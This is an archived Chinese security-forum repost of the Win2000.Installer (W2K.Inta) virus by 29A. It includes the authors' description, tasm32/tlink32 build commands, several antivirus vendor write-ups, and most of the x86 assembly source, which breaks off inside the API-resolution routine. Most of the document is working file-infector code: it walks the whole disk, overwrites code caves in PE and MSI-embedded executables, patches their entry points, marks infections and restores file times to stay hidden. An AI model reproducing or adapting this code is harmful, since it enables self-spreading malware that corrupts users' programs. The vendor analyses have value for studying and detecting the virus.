邪恶八进制信息安全团队技术讨论组's Archiver

sunwear 2005-9-24 16:18

[转载]Win2000.Instaler aka W2K.Inta

;                                    22222  99999  AAAAA
;                                    222 222 999 999 AAA AAA
;       Win2000.Installer                   222   999999 AAAAAAA
;       by Benny/29A and Darkman/29A          222      999 AAA AAA
;                                    2222222 999999  AAA AAA
;
;这个病毒号称第一个Win2000下的病毒,由著名病毒组织29A的Benny和Darkman编写,
;是第一个可以感染Win2000下MSI文件的病毒,这个病毒不会改变被感染文件的大小,
;不会改变PE header.这个病毒只能在Win2000下运行,不会驻留内存,感染文件的方
;式类似于CIH病毒,找到一个PE文件后,在这个文件中查找没用的代码(NOP and INT3)
;把自身代码写入,然后改写程序入口.下面是其的详细内容及代码,但一些关键的地址
;已经mask掉了,^_^:
;
;Author's description
;---------------------
;
;
;We, Benny and Darkman, would like to introduce u the worlds first native
;Win2000/EPO/fast mid PE infector. We present u the first Win2k virus, even
;before the official releasion of Win2000; the platform which was designed to
;be uninfectable by viruses (as M$ guys often say). This virus is also the first
;one, which is able to infect MSI files. It searches the all content of actual
;disk for files and randomly infects them. Virus can infect up to 18 extensions
;(we won't list them here, just look at the end of this source), so it can be
;also called as mega-infector X-D. Virus doesn't enlarge the files, nor touchs
;any items in PE header. It's able to put itself to the holes inside the files
;left by some compilers and patch the host code, so next time the virus code
;will be executed as the first. Virus also uses CRC32 instead of stringz, so it
;saves many bytes and makes itself undetectable by all current (x-mas 1999) AVs.
;The virus is very optimized and doesn't contain any payload. This virus can
;run only under Win2000. Virus doesn't infect system files, nor files protected
;by SFC - using Win2k SfcIsFileProtected API (that's why it can't run on another
;system than Win2000).
;
;
;
;Microsoft Windows Installer - the facts
;----------------------------------------
;
;
;Have u ever think about the format, in which the installation files on
;internet r served? Usually it is one .exe file, created by the InstallShield
;Wizard, WinZIP SFX module or another similar programs. Microsoft knew that and
;so l8r decided to make its own standard of installation files. Microsoft made
;the MSI - MicroSoft Installer file format. MSI is hybrid of everything what
;microsoft ever made. MSI can contain VB scripts, binaries (e.g. PE), documents,
;resources and other shitz. The Win2000.Installer is able to infect PE files
;inside the MSI by simple searching. If the MSI contains any PE files (and it
;often contains), then there is 1:2 possibility the PE file will be infected.
;Microsoft also doesn't calculate any checksum of the files inside MSIs, so
;there ain't any problem with modification of MSI.
;Becoz Microsoft still hasn't published the file format of MSIs, we couldn't
;make better research (adding scripts, infection by VB and such things), than
;just code PE infector. We expect big boom with infection of MSI (its brand
;new EXECUTABLE file format), mainly after someone will publish the structure
;of MSIs. Until that, we can't do more.
;Yeah, and the last good news. Programs, which will want to carry the "Designed
;for Microsoft Windows" logo (there r plenty firms which wanna get it), will
;have to release the instalation program in MSI form. Even the MSI SDK is
;available only in MSI form. Office2000 and MSIE 5.x also use MSI files. We
;have the full support of Microsoft!!!
;
;
;
;Thanks
;------
;
;
;We would like to thank GriYo/29A for the information regarding System File
;Protection (SFP) in Win2000.
;
;
;
;How to build it
;----------------
;
;
;   tasm32 -ml -m9 -q msi.asm
;   tlink32 -Tpe -c -x -aa -r  msi,,, import32
;   pewrsec msi.exe
;
;
;
;Description from AVP
;---------------------
;
;
;Win2K.Inta
;
;It is not a dangerous nonmemory resident parasitic Windows virus. The virus is
;Win2000 specific and does not work under any other Windows version.
;When run the virus searches for PE EXE files in the subdirectory tree on the
;current drive, then infects them. While infecting the virus looks for unused
;"cave" of code in the file, overwrites it with its code and patches the file
;entry address with a JMP_Virus instruction. As a result, affected files do not
;grow in length, and their functionality is not lowered.
;
;The virus infects not only Windows executable files that have ".EXE" filename
;extension, but also:
;
; .ACM .AX .CNV .COM .CPL .DLL .DRV .EXE .MPD .OCX .PCI .SCR
; .SYS .TSP .TLB .VWP .WPC
;
;The virus also looks for .MSI (Microsoft Windows Installer) files, scans them
;for embedded PE EXE files and also infects them.
;The virus contains the text string:
;
; [Win2000.Installer] by Benny/29A & Darkman/29A
;
;
;
;Description from F-Secure
;--------------------------
;
;
;NAME: Inta
;ALIAS: Win2K.Inta, Win2000.Installer
;
;Win2K.Inta is the first virus to infect Windows 2000. Windows 2000 is the new
;upcoming operating system from Microsoft, due to be released later this year.
;
;Win2K.Inta appears to be written by the 29A virus group. It operates only under
;current beta versions of Windows 2000 and is not designed to operate at all
;under older versions of Windows.
;
;F-Secure has received no reports of this virus being in the wild, and it is not
;considered a big threat. The most important feature of the virus is capability
;to spread under the new operating system.
;
;Win2K.Inta works by infecting program files and replicates from a computer to
;another when these files are exchanged. Infected files do not grow in size.
;The virus infects files with these extensions: EXE, COM, DLL, ACM, AX, CNV,
;CPL, DRV, EXE, MPD, OCX, PCI, SCR, SYS, TSP, TLB, VWP, WPC and MSI. This list
;includes several classes of programs that were not suspectible to virus
;infection before. For example, this virus will analyse Microsoft Windows
;Installer files (MSI files), scan them for embedded programs and infect them.
;
;The virus contains this text string, which is never displayed:
;
;  [Win2000.Installer] by Benny/29A & Darkman/29A
;
;
;
;Description from Symantec (Benny's comments in [**])
;-----------------------------------------------------
;
;
;W2K.Installer.1676
;
;Detected as: W2K.Installer.1676
;Aliases: WIN2K/Insta
;Known Variants: W2K.Installer.1688
;Infection Length: 1,676 bytes and 1,688 bytes
;Likelihood: Rare
;Detected on: Jan 5, 2000
;Characteristics: Windows 2000
;
;Description
;
;W2K.Installer virus is the first known virus to replicate only under Windows
;2000. This virus is not known to be in the wild at this time. There are two
;known variants of this virus as of Jan 5, 2000. They are named
;W2K.Installer.1676 and W2K.Installer.1688.
;
;Although this virus may be referred as a Windows 2000 specific virus, it does
;not use any Windows 2000 specific functionality to replicate [* Not so, the
;SfcIsFileProtected is Win2000 specific *]. It spreads only under Windows 2000
;because the virus checks the version of Windows before it propagates.
;
;W2K.Installer is a cavity infector and will not change the file size of the
;infected files. The virus will first search through the code section to find
;an unused portion that is large enough for the virus to overwrite. These
;sections are usually filled with '0xCC' or '0x90' byte values [* Not to
;mention the 0x00 byte value*]. When the unused portion is located, the virus
;will overwrite its code into the 'cavity' and place a JMP (0xe9) instruction
;pointing to the start of the virus body into the entry point code.
;
;The infection happens randomly, but the virus always infects applications with
;an MSI' extension.
;
;MSI is a part of the Windows 2000 installation kit. The virus avoids infecting
;files that are protected by SFC (System File Checker). It marks infected files
;by modifying the 'MinorLinkerVersion' field of the PE header to 0x29.
;
;The virus contains the following text in the virus code:
;
;[Win2000.Installer] by Benny/29A & Darkman/29A
;
;W2K.Installer does not use any specific Windows 2000 functionality to replicate
;[* Again the SfcIsFileProtected is Win2000 specific *] and it fails to do so
;under some beta and RC versions [* Correct, RC1 and the beta releases before
;RC1 *] of Windows 2000. The virus is unique because of the way it infects
;files. Similar cavity infection methods were used in older DOS viruses and
;virus writers are starting to adapt it again in order to avoid being detected
;by first generation heuristic analyzers.
;
;
;
;Description from NAI (this is really funny description :)
;----------------------------------------------------------
;
;
;Name
;Win2K/Inta
;
;Aliases
;Unknown
;
;Variants
;None
;
;Date Added
;1/12/00
;
;Information
;  Discovery Date: 1/11/00
;  Type: Virus
;  SubType: Win2K
;  Risk Assessment: Low
;  Minimum DAT: 4062
;  Minimum Engine: 4.0.25
;
;
;Characteristics
;* Note this virus has not been reported to us by any customer and is perceived
;to be a low threat at this time.*
;
;This is a virus specifically for the Windows 2000 operating system however it
;is not functional on all editions of Win2K. This virus uses cavity filling
;technique similar to Win95/CIH in that empty areas of the file are filled with
;the virus code. This virus is reported to be developed by the virus group
;known as 29A.
;
;Files of several different extensions are sought during the infection routine
;besides the typical EXE, DLL and SCR. For example .DRV, .MPD and .OCX are
;included. The significance of this virus is that it is a proof of concept.
;
;There also is a recognizable string within the infected files containing the
;following: [Win2000.Installer] by Benny/29A & Darkman/29A
;
;This string is never displayed however.
;
;Symptoms
;Increase in size to PE files, slowness of Windows 2000 system.
;
;Method Of Infection
;Running infected executable will directly infect available files on the local
;system.
;
;Removal Instructions
;Use specified engine and DAT files for detection and removal.
;
;
;
;Description from GeCAD (RAV)
;-----------------------------
;
;Virus name: Win2k/Insta
;Virus type: Win2k
;Aliases: Installer
;Known Variants: .1676,.1688
;Infected objects: PE_EXE
;Like Hood: Less Likely
;Detection added: 06-01-2000
;
;Description:
;
;This is the first Windows 2000 specific virus. Thus most of its code is Win32
;compliant, the virus contains a check that makes it do nothing under operating
;systems with version smaller than 5 (Win2000). The only part that really depends
;on Win2k is the .MSI infection part - this is the new Installer technology
;Microsoft included in Win2k (and is also available on earlier versions of
;Windows). The virus will pseudo-infect .MSI files in a very simple but effective
;way - it will map the file in memory and look for an embedded executable file
;inside. If one is found (all .MSIs should have at least one) the virus will try
;to locate a cave of do-nothing code (NOP and INT3) inside the executable body
;and overwrite this section with its own code. Using this method, the virus will
;also be able to infect ANY executable file embedded in the .MSI file (which is
;an OLE2 file) - for instance, if there's a .CAB file inside the .MSI file and
;one executable inside the CAB file is not compressed, the virus will also be
;able to infect it. This raises serious problems concerning the detection of
;such infectors - the only way to detect it is to parse the all the embedded
;objects inside the file. Because the virus overwrites parts of the host code
;infected programs may not run normally or even crash when executed.
;
;Technical details:
;
;Technically speaking, the virus uses already known ways to infect PE executable
;files. When executing an infected file, the virus will scan for the kernel base,
;then try to import the following 17 APIs, using checksums computed on API names:
;
;FindFirstFileA, FindNextFileA, FindClose, SetFileAttr, SetFileTime,
;CreateFileA, CreateFileMapping, MapViewOfFile, UnmapViewOfFile,
;CloseHandle, GetTickCount, GetVersion, GetCurrentDirectory,
;SetCurrentDirectory, LoadLibrary, GetProcAddress
;
;Then it will look for files in the root folder and sub-directories for files
;with the extension matching one of the following:
;
;.ACM, .AX, .CNV, .COM, .CPL, .DLL, .DRV, .EXE, .MPD, .OCX, .PCI, .SCR, .SYS
;.TSP, .TLB, .VWP, .WPC, .MSI
;
;For such files, the virus will map the file in memory to ease the infection
;process. Then it will check if the respective file is a PE executable file. If
;so, it will call the infection routine - this will look for a cave of 0x90/0xCC
;large enough to hold the virus body, write the body in there and modify the
;entry point to execute the virus code first. Then, for MSI files, the virus will
;check if the respective file is an OLE2 file. If so, it will search inside the
;file for a PE executable file embedded and infect it. The number of infected
;files per execution is randomly selected - the virus contains a random number
;generator routine which will decide if it will infect more files or just return
;the control to the original code of the host.
;
;The virus also contains the following string, not used in any way:
;
;"[Win2000.Installer] by Benny/29A & Darkman/29A"
;
;
;Evilness: Potentially destructive (corrupts data while replicating)
;
;Analyst: Adrian Marinescu
;
;Last comments
;--------------
;
;There were written tons of papers about our virus in both of printing and
;internet magazines, but we wanted to show ya only tho most important ones.
;Another reason why we didn't publish everything is becoz many articles were
;written in another languages than english, and we don't expect u can speak
;czech, slovak or for instance swedish :)
;Now u probably expect the final smart sentence :). Ok, here is it: We didn't
;code this virus to show that we r first (as AVerz say), but to show that
;Micro$oft LIED! Win2000 is the same crap as DOS.
;
;(c) 1999 coded by Benny/29A and Darkman/29A in Denmark in our VX mini-meeting.



.386p                ;386 instructions
.model flat              ;flat model

include mz.inc              ;include some useful
include pe.inc              ;filez
include win32api.inc
include useful.inc


extrn ExitProcess:PROC           ;API for first gen. only

.data
   db   ?           ;some data for .data section
ends


.code                ;code section
Start:   pushad              ;store all registers
   @SEH_SetupFrame <jmp end_host>      ;setup SEH frame
   call get_base           ;get base of Kernel32.dll
   test eax, eax           ;quit if not found
   je end_host
   call gdelta           ;get delta offset
gdelta:   pop ebp              ;delta offset to EBP
   call get_apis

   call [ebp + a_GetVersion - gdelta]   ;Get OS version
   cmp al, 5           ;must be 5 - Win2000
   jne end_host           ;quit if not Win2000

   call @sfclib           ;push string to stack
   db   &#39;SFC&#39;,0           ;name of SFC library
@sfclib:call [ebp + a_LoadLibraryA - gdelta]   ;load library
   xchg eax, ebx           ;result to EBX
   test ebx, ebx
   je end_host           ;quit if error
   mov [ebp + lib_ptr - gdelta], ebx   ;save the address for FreeLib API

   call @sfcapi           ;push string to stack
   db   &#39;SfcIsFileProtected&#39;,0      ;name of SFC API
@sfcapi:push ebx           ;address of lib. in memory
   call [ebp + a_GetProcAddress - gdelta]   ;get API address
   test eax, eax
   je end_lib           ;quit if error
   mov [ebp + api_ptr - gdelta], eax   ;save it for l8r call


   ;now we will search the entire actual disk for the files and try to
   ;infect them

      lea   eax,[ebp + cBuffer - gdelta]   ; Address of buffer for current
      push   eax        ; directory
      push   MAX_PATH           ; Size, in characters, of directory
                           ; buffer
      call   [ebp + a_GetCurrentDirectoryA - gdelta]
      lea    ebx,[ebp + WFD - gdelta]   ; EBX = pointer to WFD
   and   dword ptr [ebp + s_tmp - gdelta], 0   ; Find infectable files
      lea    eax,[ebp + szCurDir - gdelta]   ; EAX = pointer to szCurDir
      jmp    _SetCurrentDirectory_
_FindFirstFile:
      push   ebx              ; Address of returned information
      lea   eax,[ebp + szFileName - gdelta]   ; Address of name of file to search
      push   eax           ; for
      call   [ebp + a_FindFirstFileA - gdelta]
   mov   edx,eax        ; EDX = search handle
      inc    eax              ; Function failed?
      jz    _SetCurrentDirectory   ; Zero? Jump to _SetCurrentDirectory
examine_filename:
      lea    eax,[ebx.WFD_szFileName]    ; EAX = pointer to WFD_szFileName
   cmp   word ptr [eax],&#39;.&#39;   ; Dot?
   je   _FindNextFile      ; Equal? Jump to _FindNextFile
   cmp   word ptr [eax],&#39;..&#39;   ; Dot dot?
   jne   examine_command_register
              ; Not equal? Jump to
              ; examine_command_register
   cmp   byte ptr [eax+02h],NULL   ; NULL?
   je   _FindNextFile      ; Equal? Jump to _FindNextFile
examine_command_register:
   push   ebp
   mov   ebp, 12345678h      ; temporary variable
s_tmp = dword ptr $-4
   test   ebp,ebp        ; Find infectable files or previous
              ; directory?
   pop   ebp
   jz   examine_attribute   ; Zero? Jump to examine_attribute
   push   edi esi
   xchg   eax,edi        ; EDI = pointer to cFileName
   xchg   eax,ecx        ; ECX = size of file extension
   rep   cmpsb        ; Found current directory?
   pop   esi edi
   jne   _FindNextFile      ; Not equal? Jump to _FindNextFile
   inc   dword ptr [ebp + s_tmp - gdelta]   ; Find infectable files
   jmp   _FindNextFile
examine_attribute:
      test   byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
              ; Directory?
      jnz    _FindClose      ; Not zero? Jump to _FindClose
   xchg   eax,edi        ; EDI = pointer to cFileName
   mov   al,&#39;.&#39;        ; AL = dot
   call   find_last_char
   inc   edi        ; EDI = size of file extension
   call   CRC32
   cmp   eax,9EEC823Dh      ; .MSI file extension?
   je   infectMSI      ; Equal? Jump to infect_msi
   mov   ecx,(file_extension_table_end-file_extension_table)/04h
              ; CL = number of file extensions to
              ; compare with
   lea   edi,[ebp + file_extension_table - gdelta]
              ; ECX = pointer to file_extension_table
   repne   scasd        ; Examine file extension
   jne   _FindNextFile      ; Not equal? Jump to _FindNextFile
infect_file:
   call    get_random
   je   _FindNextFile      ;dont infect this PE if ZERO
   mov   byte ptr [ebp + pe_msi - gdelta],1   ;set flag - normal file
   call   checkinfect      ;try to infect it
   jmp    _FindNextFile      ;and try another file
infectMSI:
   mov   byte ptr [ebp + pe_msi - gdelta],0   ;set flag - MSI file
   call   checkinfect      ;try to infect file
   jmp    _FindNextFile      ;and try another one

_FindNextFile:
      push   edx              ; EDX = handle of search
      push   ebx              ; Address of structure for data on
                           ; found file
      push   edx              ; Handle of search
      call   [ebp + a_FindNextFileA - gdelta]
   pop   edx        ; EDX = handle of search
      dec    eax              ; Function failed?
      jz    examine_filename      ; Zero? Jump to examine_filename
_SetCurrentDirectory:
      push   edx              ; EDX = handle of search
   lea   edi,[ebp + cBuffer_ - gdelta]   ; EDI = pointer to cBuffer_
      push   edi        ; Address of buffer for current
                           ; directory
      push   MAX_PATH           ; Size, in characters, of directory
                           ; buffer
      call   [ebp + a_GetCurrentDirectoryA - gdelta]
      pop    edx              ; EDX = handle of search
   cmp   ax,03h        ; End of root directory?
   je   _ExitProcess      ; Equal? Jump to _ExitProcess
   mov   al,&#39;&#39;        ; AL = backslash
   call   find_last_char
   inc   esi        ; ESI = pointer to cFileName
   dec   dword ptr [ebp + s_tmp - gdelta]   ; Find previous directory
      lea    eax,[ebp + szCurDir_ - gdelta]   ; EAX = pointer to szCurDir_
_FindClose:
      push   eax              ; EAX = pointer to name of new current
                           ; directory
      push   edx              ; Handle of search
      call   [ebp + a_FindClose - gdelta]
      dec    eax              ; Function failed?
      pop    eax              ; EAX = pointer to name of new current
                           ; directory
      jnz    _ExitProcess      ; Not zero? Jump to _ExitProcess
_SetCurrentDirectory_:
      push   eax              ; Address of name of new current
                           ; directory
      call   [ebp + a_SetCurrentDirectoryA - gdelta]
      dec    eax              ; Function failed?
      jz    _FindFirstFile      ; Zero? Jump to _FindFirstFile
_ExitProcess:
      lea   eax,[ebp + cBuffer - gdelta]   ; Address of name of new current
                              ; directory
      call   [ebp + a_SetCurrentDirectoryA - gdelta]


;end of searching, files r infected, we can free library and jump to host

end_lib:push 12345678h        ;address of SFC.DLL in memory
lib_ptr = dword ptr $-4
   call [ebp + a_FreeLibrary - gdelta]   ;free library

end_host:           ;jump to host
   mov edi, offset exit_process   ;get pointer to the entrypoint
OrigEPPtr = dword ptr $-4
   call @saved
OrigBytes   db   90h,90h,90h,90h,0C3h   ;saved bytes
@saved:   pop esi              ;ESI=address of saved bytes
   push edi           ;store EDI
   movsd              ;restore 5 bytes of host
   movsb              ;code
   pop dword ptr [esp.Pushad_edi+8]   ;restore EDI
   @SEH_RemoveFrame        ;remove SEH frame
   popad              ;restore all registers
   jmp edi              ;jump to host code

find_last_char   proc   near      ; Find last specified character
   inc   edi        ; EDI = pointer within cFileName
   cmp   byte ptr [edi],NULL   ; NULL?
   jne   find_last_char      ; Not equal? Jump to find_last_char
   mov   esi,edi        ; ESI = pointer to end of cFileName
find_dot:
   dec   esi        ; EDI = pointer within cFileName
   cmp   byte ptr [esi],al   ; Found character?
   jne   find_dot      ; Not equal? Jump to find_dot
   sub   edi,esi        ; EDI = size of file extension
   ret
endp
              ; little signature
   db   0,&#39;[Win2000.Installer] by Benny/29A & Darkman/29A&#39;,0
checkinfect:              ;check and infect procedure
   mov [ebp + aWFD - gdelta], ebx      ;temporary store the address of WFD
   pushad              ;store all registers
   xor ecx, ecx
   cmp [ebx.WFD_nFileSizeHigh], ecx   ;mustnt be >4GB
   jne c_error
   cmp [ebx.WFD_nFileSizeLow], 4000h   ;must be >16kB
   jb c_error

   lea esi, [ebx.WFD_szFileName]   ;file name
   push esi        ;save it
   push 0           ;some params for API
   mov eax, 12345678h
api_ptr = dword ptr $-4
   call eax        ;check, if the file is protected
   test eax, eax        ;by SFC
   jne c_error        ;quit if is

   push FILE_ATTRIBUTE_NORMAL   ;blank attribs
   push esi        ;file name
   call [ebp + a_SetFileAttributesA - gdelta]   ;blank file attributes
   test eax, eax
   je c_error        ;quit if error

   xor eax, eax
   push eax
   push FILE_ATTRIBUTE_NORMAL
   push OPEN_EXISTING
   push eax
   push eax
   push GENERIC_READ or GENERIC_WRITE
   push esi
   call [ebp + a_CreateFileA - gdelta]   ;open file
   inc eax
   je i_error           ;quit if error
   dec eax
   mov [ebp + hFile - gdelta], eax      ;save the handle

   xor edx, edx
   push edx
   push edx
   push edx
   push PAGE_READWRITE
   push edx
   push eax
   call [ebp + a_CreateFileMappingA - gdelta]   ;create file-mapping object
   xchg eax, ecx
   jecxz endCreateMapping        ;quit if error
   mov [ebp + hMapFile - gdelta], ecx   ;save the handle

   xor edx, edx
   push edx
   push edx
   push edx
   push FILE_MAP_WRITE
   push ecx
   call [ebp + a_MapViewOfFile - gdelta]   ;map view of file
   xchg eax, ecx
   jecxz endMapFile        ;quit if error
   mov [ebp + lpFile - gdelta], ecx   ;save the address to variable
   jmp nOpen           ;continue on next label

closeFile:
   push 12345678h           ;address of mapped file
lpFile = dword ptr $-4
   call [ebp + a_UnmapViewOfFile - gdelta]   ;unmap view of file

endMapFile:
   push 12345678h           ;handle to file-mapping object
hMapFile = dword ptr $-4
   call [ebp + a_CloseHandle - gdelta]   ;close it

endCreateMapping:
   mov edx, 12345678h      ;address of real WFD
aWFD = dword ptr $-4
   lea eax, [edx.WFD_ftLastWriteTime]
   push eax
   lea eax, [edx.WFD_ftLastAccessTime]
   push eax
   lea eax, [edx.WFD_ftCreationTime]
   push eax
   push dword ptr [ebp + hFile - gdelta]
   call [ebp + a_SetFileTime - gdelta]   ;restore the file time

   push 12345678h           ;handle of the opened file
hFile = dword ptr $-4
   call [ebp + a_CloseHandle - gdelta]   ;close file

i_error:
   mov edx, [ebp + aWFD - gdelta]
   push dword ptr [edx.WFD_dwFileAttributes]
   lea eax, [edx.WFD_szFileName]   ;set back
   push eax        ;file attributes
   call [ebp + a_SetFileAttributesA - gdelta]   ;...
c_error:popad
   ret           ;and quit

nOpen:   mov esi, ecx
   mov ecx, 0
pe_msi = dword ptr $-4
   jecxz msi_search      ;semaphore, 0 if MSI, otherwise its PE
   call mz_search        ;it is PE
   test edx, edx
   je closeFile        ;quit if error
   call infect_mz        ;try to infect PE
   jmp closeFile        ;close file and quit

msi_search:
   cmp [esi], 0E011CFD0h      ;check the MSI header
   jne closeFile        ;it aint MSI, quit
   cmp [esi+4], 0E11AB1A1h      ;...
   jne closeFile        ;...

   push 30           ;try to infect 30 PE files
   pop ecx           ;counter as ECX
infect_msi:
   push ecx        ;store counter
   call mz_search        ;check the file
   test edx, edx
   je end_msi        ;quit if error

   call get_random        ;get random number 0-1
   je end_msi        ;dont infect this PE if ZERO

   call infect_mz        ;and try to infect it
end_msi:pop ecx           ;restore counter
   mov esi, 0               ;get possition
pos = dword ptr $-4
   inc esi           ;increment it
   loop infect_msi        ;and continue with searching
   jmp closeFile        ;close the MSI file

mz_search:
   pushad           ;store all registers
   @SEH_SetupFrame <jmp e_mz>   ;setup SEH frame
r_byte:   mov [ebp + pos - gdelta], esi   ;save the possition
   movzx eax, word ptr [esi]   ;get two bytes
   not eax
   cmp eax, not &#39;ZM&#39;      ;is it "MZ"?
   jne n_byte        ;nope, try next bytes
   mov edx, [esi.MZ_lfanew]
   mov eax, [ebp + aWFD - gdelta]   ;get address of WFD
   cmp [eax.WFD_nFileSizeLow], edx   ;is the pointer valid?
   jb n_byte
   add edx, esi        ;get to PE header
   mov eax, [edx]        ;get four bytes
   not eax
   cmp eax, not "EP"      ;is it PE?
   jne n_byte        ;no, try next bytes
end_mz:   mov [esp.Pushad_edx+8], edx   ;save EDX
   mov [esp.Pushad_esi+8], esi   ;save ESI
   @SEH_RemoveFrame      ;remove SEH frame
q_null:   popad           ;restore all registers
e_ret:   ret           ;and quit
e_mz:   xor edx, edx        ;set the flag
   jmp end_mz        ;and quit
n_byte:   inc esi           ;increment possition
   jmp r_byte        ;and continue searching

infect_mz:
   ;ESI - start of MZ
   ;EDX - start of PE

   movzx ebx, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
   lea ebx, [edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4]   ;get to section header
   mov eax, [ebx.SH_PointerToRawData]
   add eax, esi
   xchg eax, esi
   mov edi, [ebx.SH_SizeOfRawData]
   cmp [ebx.SH_VirtualSize], edi   ;VirtualSize mustnt be smaller
   jb e_ret        ;than SizeOfRawData

   ;EBX - start of .text section
   ;ESI - start of code
   ;EDI - size of code

HOW_MANY_BYTES = virtual_end-Start   ;how big hole in file do we need

   pushad           ;store all registers
no_null:xor edx, edx        ;set the counter to zero
null:   dec edi           ;decrement counter
   test edi, edi        ;end of file?
   je q_null        ;yeah, quit
   call is_null        ;check for garbage byte
   jecxz no_null        ;no garbage, try next byte
   inc edx           ;yeah, increment counter
   cmp edx, HOW_MANY_BYTES      ;have we enough garbage bytes?
   jne null        ;nope, find another
   sub esi, HOW_MANY_BYTES      ;get to the beginning
   mov [esp.Pushad_edi], esi   ;save the pointer
   popad           ;restore all registers

;at this point:
;   EAX - address of MZ header (inside MSI file)
;   EBX - address of the first section header (.text)
;   ECX - address of mapped MSI file
;   EDX - address of PE header
;   EDI - address of junk code which can be patched

   xchg eax, esi
   cmp word ptr [edx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386
   jne endInfection      ;must be 386+
   mov ax, [edx.NT_FileHeader.FH_Characteristics]
   test ax, IMAGE_FILE_EXECUTABLE_IMAGE   ;must be executable image
   je endInfection
   test ax, IMAGE_FILE_SYSTEM   ;mustnt be system file
   jne endInfection
   cmp byte ptr [edx.NT_OptionalHeader.OH_MinorLinkerVersion], 29h
   je endInfection        ;check, if the file is already infected
   mov al, byte ptr [edx.NT_OptionalHeader.OH_Subsystem]
   test al, IMAGE_SUBSYSTEM_NATIVE
   jne endInfection      ;mustnt be driver

   mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
   sub eax, [ebx.SH_VirtualAddress]
   add eax, [ebx.SH_PointerToRawData]
   add eax, esi        ;get to the entrypoint in the file
   push edi
   sub edi, 5
   cmp edi, eax
   pop edi
   jb endInfection      ;check if the entrypoint is the same location as
           ;the hole in the file

   cmp [ebx.SH_VirtualSize], virtual_end-Start
   jb endInfection

   push dword ptr [ebp + OrigEPPtr - gdelta]   ;save the pointer to EP
   push dword ptr [ebp + OrigBytes - gdelta]   ;save the saved bytes
   push dword ptr [ebp + OrigBytes+4 - gdelta]   ;save the fifth one
   mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
   push eax
   add eax, [edx.NT_OptionalHeader.OH_ImageBase]   ;EAX=entrypoint VA
   mov [ebp + OrigEPPtr - gdelta], eax      ;save it
   pop eax

   sub eax, [ebx.SH_VirtualAddress]
   add eax, [ebx.SH_PointerToRawData]
   add eax, esi
   xchg eax, esi           ;get to entrypoint in RAW file
   mov eax, [esi]
   mov [ebp + OrigBytes - gdelta], eax   ;save first five bytes
   mov al, [esi+4]
   mov [ebp + OrigBytes+4 - gdelta], al   ;...

   mov eax, edi
   sub eax, esi
   sub eax, 5
   mov byte ptr [esi], 0e9h   ;build JMP LARGE
   mov [esi+1], eax      ;VIRUS_ADDRESS

   or [ebx.SH_Characteristics], IMAGE_SCN_MEM_WRITE   ;set the flag
   mov byte ptr [edx.NT_OptionalHeader.OH_MinorLinkerVersion], 29h
              ;set already_infected mark
   lea esi, [ebp + Start - gdelta]   ;get the start of virus
   mov ecx, (end_virus-Start+3)/4   ;number of DWORDs
   rep movsd        ;move virus to file
   pop dword ptr [ebp + OrigBytes+4 - gdelta]   ;restore saved bytes
   pop dword ptr [ebp + OrigBytes - gdelta]   ;...
   pop dword ptr [ebp + OrigEPPtr - gdelta]   ;restore the pointer to EP
endInfection:
   ret

is_null:xor ecx, ecx        ;zero flag
   lodsb           ;load byte
   test al, al        ;is it NULL?
   jne n1_null        ;nope
null_ok:inc ecx           ;yeah, set flag
   ret           ;and quit
n1_null:cmp al, 90h        ;is it NOP?
   je null_ok        ;nope
n2_null:cmp al, 0CCh        ;is it INT 3?
   je null_ok        ;yeah, set flag and quit
   ret           ;nope, quit

get_base:           ;procedure for getting K32 base address
   mov eax, [esp.cPushad+0ch]   ;get return address
   and eax, 0ffff0000h      ;get only high address
   @SEH_SetupFrame <jmp end_k32>   ;setup SEH frame
try_k32:movzx edx, word ptr [eax]   ;get two bytes
   not edx           ;negate them
   cmp edx, not "ZM"      ;is it MZ header?
   jne n_k32        ;no, move to next address
   mov ebx, [eax.MZ_lfanew]   ;get pointer to PE header
   add ebx, eax        ;normalize it
   mov ebx, [ebx]        ;get four bytes
   not ebx           ;negate them
   cmp ebx, not "EP"      ;is it PE header?
   je g_k32        ;yeah, we got K32 base
n_k32:   add eax, -1000h        ;nope, move to next address
   jmp try_k32        ;and try to find base again
end_k32:xor eax, eax        ;not found, set flag then
g_k32:   @SEH_RemoveFrame      ;remove SEH frame
   ret           ;and quit

get_apis:
   lea esi, [ebp + crc32s - gdelta]   ;get CRC32 values of APIs
   lea edi, [ebp + a_apis - gdelta]   ;where to store API addresses
   push crc32c              ;how many APIs do we need?
   pop ecx              ;...
g_apis:   push eax        ;save K32 base
   pushad           ;store all registers
   @SEH_SetupFrame <jmp end_gpa>   ;setup SEH frame
   mov edi, [eax.MZ_lfanew]   ;move to PE header
   add edi, eax        ;...
   mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
   jecxz end_gpa           ;quit if no exports
   mov ebx, eax
   add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
   mov edx, eax        ;get address of export table
   add edx, [ebx.ED_AddressOfNames]   ;address of API names
   mov ecx, [ebx.ED_NumberOfNames]   ;number of API names
   mov edi, edx
   push dword ptr [esi]      ;save CRC32 to stack
   mov ebp, eax
   xor eax, eax
APIname:push eax
   mov esi, ebp        ;get base
   add esi, [edx+eax*4]      ;move to API name
   push esi        ;save address
   @endsz           ;go to the end of string
   sub esi, [esp]        ;get string size
   mov edi, esi        ;move it to EDI
   pop esi           ;restore address of API name
   call CRC32        ;calculate CRC32 of API name
   cmp eax, [esp+4]      ;is it right API?
   pop eax
   je g_name        ;yeah, we got it
   inc eax                 ;increment counter
   loop APIname        ;and search for next API name
end_gpa:xor eax, eax        ;set flag
ok_gpa:   @SEH_RemoveFrame      ;remove SEH frame
   mov [esp.Pushad_eax], eax   ;save value to stack
   popad           ;restore all registers
   stosd           ;save address
   test eax, eax
   pop eax
   je q_gpa        ;quit if error
   add esi, 4        ;move to next CRC32
   loop g_apis        ;search for API addresses in a loop
   ret           ;and quit
q_gpa:   pop eax
   jmp end_host        ;quit if error
g_name:   pop edx
   mov edx, ebp
   add edx, [ebx.ED_AddressOfOrdinals]
   movzx eax, word ptr [edx+eax*2]
   cmp eax, [ebx.ED_NumberOfFunctions]
   jae end_gpa
   mov edx, ebp        ;base of K32
   add edx, [ebx.ED_AddressOfFunctions]   ;address of API functions
